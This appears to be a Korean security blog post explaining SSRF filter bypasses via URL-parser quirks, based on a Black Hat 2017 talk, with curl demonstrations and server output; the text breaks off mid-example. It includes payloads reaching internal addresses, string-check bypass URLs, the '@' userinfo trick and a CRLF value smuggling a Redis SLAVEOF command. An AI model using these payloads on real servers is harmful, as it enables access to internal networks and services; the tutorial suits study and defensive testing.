[WEB HACKING] New attack vectors in SSRF(Server-Side Request Forgery) with URL Parser

Blackhat 2017 USA 자료를 보던 중 하나 흥미로운 발표 자료를 보게되었습니다. 읽고 테스트해보니.. 실무에서 바로 쓸 수 있을정도의 기법이더군요.

오늘은 URL Parser의 문제를 이용한 SSRF 우회기법에 대한 이야기를 하려합니다.

시간나시면 꼭 읽어보세요. https://www.blackhat.com/docs/us-17/thursday/us-17-Tsai-A-New-Era-Of-SSRF-Exploiting-URL-Parser-In-Trending-Programming-Languages.pdf

What is SSRF

SSRF는 Server-side Request Forgery의 약자로 CSRF와 유사하지만 클라이언트가 아닌 서버가 직접 호출해서 발생하는 문제입니다. 이를 통해서 외부에서 내부망에 대한 접근이나 스캔, 각종 보안장비를 넘어갈 수 있는 중요한 키 포인트죠.

물론 저도 굉장히 좋아하고 잘 애용하는 공격기법 중 하나입니다.

먼저 원리를 간단하게 설명드리면 사용자 입력을 받아 서버가 직접 다른 웹이나 포트에 직접 접근해서 데이터를 가져오는 기능들에서 주로 발생합니다. 별로 없을 것 같은 기능이지만 실제로 굉장히 많이 쓰이고 있는 기능이며 한때는 OWASP Top 10에도 올라왔었을만큼 인기있는 공격기법이였습니다.

프리뷰를 보는 페이지가 있다고 가정하고, 이에 따른 정상적인 요청은 아래와 같을겁니다.

showPreview.php?url=www.hahwul.com/[유저의입력]

공격자는 아래와 같은 형태로 공격을 수행하겠지요.

showPreview.php?url=192.168.56.101/server-status#[내부망의 주소를 호출]

대체로 이에대한 대응을 도메인에 대한 검증 로직을 추가하는데 단순 문자열 검증이 아닌 실제 도메인을 검증하는 로직이 들어가야하지만, 성능 이슈 및 여러가지 이유로 문자열 검증만 적용된 곳을 많이 보았습니다. 이런 경우 아래와 같은 형태로 우회를 시도하지요.

패턴: google.com 만 허용하는 경우

url=google.com.hahwul.com url=www.hahwul.com#google.com url=www.hahwul.com?google.com url=www.hahwul.com/google.com

단순 문자열 검증의 경우 google.com으로 검증해도 다 www.hahwul.com으로 넘어갑니다. 이는 공격자가 테스트하며 규칙을 파악하면 할수록 여러 우회패턴들이 발생할겁니다.

URL Parser들의 Pasing 방법

오늘 기법을 알아가기 전에 먼저 각 언어별 URL Parser에 대한 동작 방식을 알아야 이해가 쉽습니다.

RFC3986 기준으로 URL의 컴포넌트를 보면 아래와 같습니다.

맨 앞부분 프로토콜 명시부분이 스키마, 그 뒤로 Authority, Path 등등 나뉘어져 있죠. 각 언어들에는 URL을 분석하는 Parser가 존재합니다. 해당 언어로 만들어진 웹 서버나 서비스는 당연히 그 Parser를 이용해서 요청에 대해 분석하게 됩니다.

제 a2sv 코드만 봐도..


import socket
import datetime
from urlparse import urlparse
sys.path.append(os.path.dirname( os.path.abspath( __file__ ))+"/module")
from M_ccsinjection import *
from M_heartbleed import *
..snip..

보편적인 루비 코드를 봐도..

require 'uri'
uri = URI.parse('http://www.hahwul.com')

쉽게 사용하고 있지요.

재미있는점은 이 Parser 들이 URL을 분석하는 과정이 약간씩 다른다는 점입니다. Parser 또한 완벽하지 않기 때문에 모든 사용자의 입력을 예상할 순 없었습니다.

각 Parser의 헛점을 보고 새로운 공격 벡터에 대해 도출이 가능한것이구요.

그럼 어떤 케이스들이 있는지 한번 봐볼까요?

SSRF with URL Parser 1(@) feat cURL

눈치가 빠르시면 벌써 눈치채셨을겁니다. URL Parser들이 URL을 분리하는 부분이 다르기 때문에 특정 부분들은 다시 도메인으로 인지시킬 수 있습니다. curl을 통해서 쉽게 테스트해보죠.

#> curl http://google.com:80@192.168.56.88/asd

404 Not Found

404 Not Found


nginx/1.10.3 (Ubuntu)

제 PC에서 로그를 찍어보면..

#> tail -f /var/log/nginx/access.log ...snip... 192.168.56.88 - google.com [14/Sep/2017:21:52:39 +0900] "GET /asd HTTP/1.1" 404 178 "-" "curl/7.47.0"

google로 넘어가지 않고 제 PC로 넘어오네요. 왜그럴까요?

curl은 @를 기준으로 우측을 도메인으로 사용합니다. 메일주소를 생각해보시면 좋아요. 웹에서 인지하기에는 google.com으로 끊어졌지만, 내부 curl로 넘어오는 순간 오른쪽 부분을 도메인으로 보고 호출하게 됩니다.

자세히 봐볼까요?

#> curl http://127.0.0.1:80@www.hahwul.com/ -vvv

  • Trying 172.217.27.83...
  • Connected to www.hahwul.com (172.217.27.83) port 80 (#0)
  • Server auth using Basic with user '127.0.0.1'

GET / HTTP/1.1 Host: www.hahwul.com Authorization: Basic MTI3LjAuMC4xOjgw User-Agent: curl/7.47.0 Accept: /

< HTTP/1.1 200 OK < Content-Type: text/html; charset=UTF-8 < Expires: Thu, 14 Sep 2017 09:13:58 GMT < Date: Thu, 14 Sep 2017 09:13:58 GMT < Cache-Control: private, max-age=0 < Last-Modified: Wed, 13 Sep 2017 09:46:02 GMT < X-Content-Type-Options: nosniff < X-XSS-Protection: 1; mode=block < Server: GSE < Accept-Ranges: none < Vary: Accept-Encoding < Transfer-Encoding: chunked <

HAHWUL :: 하훌

localhost로 데이터를 호출했지만 curl은 www.hahwul.com 을 쿼리하고 기존 도메인을 계정으로 인지하여 Authorization으로 넘겨줍니다. 그래서 www.hahwul.com 으로 요청이 넘어가고 응답값을 받아오지요.

SSRF with URL Parser 2(개행문자) feat cURL

두번째 방법은 개행문자를 이용한 방법입니다. 개행문자로 SLAVEOF로 www.hahwul.com을 호출했을 때 어떤일들이 일어나는지 보도록 하죠.

#> curl http://127.0.0.1:80\r\rnSLAVEOF www.hahwul.com -vvv

  • Rebuilt URL to: http://127.0.0.1:80rrnSLAVEOF/
  • Trying 127.0.0.1...
  • Connected to 127.0.0.1 (127.0.0.1) port 80 (#0)

GET / HTTP/1.1 Host: 127.0.0.1 User-Agent: curl/7.47.0 Accept: /

< HTTP/1.1 200 OK < Server: nginx/1.10.3 (Ubuntu) < Date: Thu, 14 Sep 2017 09:16:07 GMT < Content-Type: text/html < Content-Length: 11321 < Last-Modified: Fri, 11 Nov 2016 10:47:50 GMT < Connection: keep-alive < ETag: "5825a1d6-2c39" < Accept-Ranges: bytes <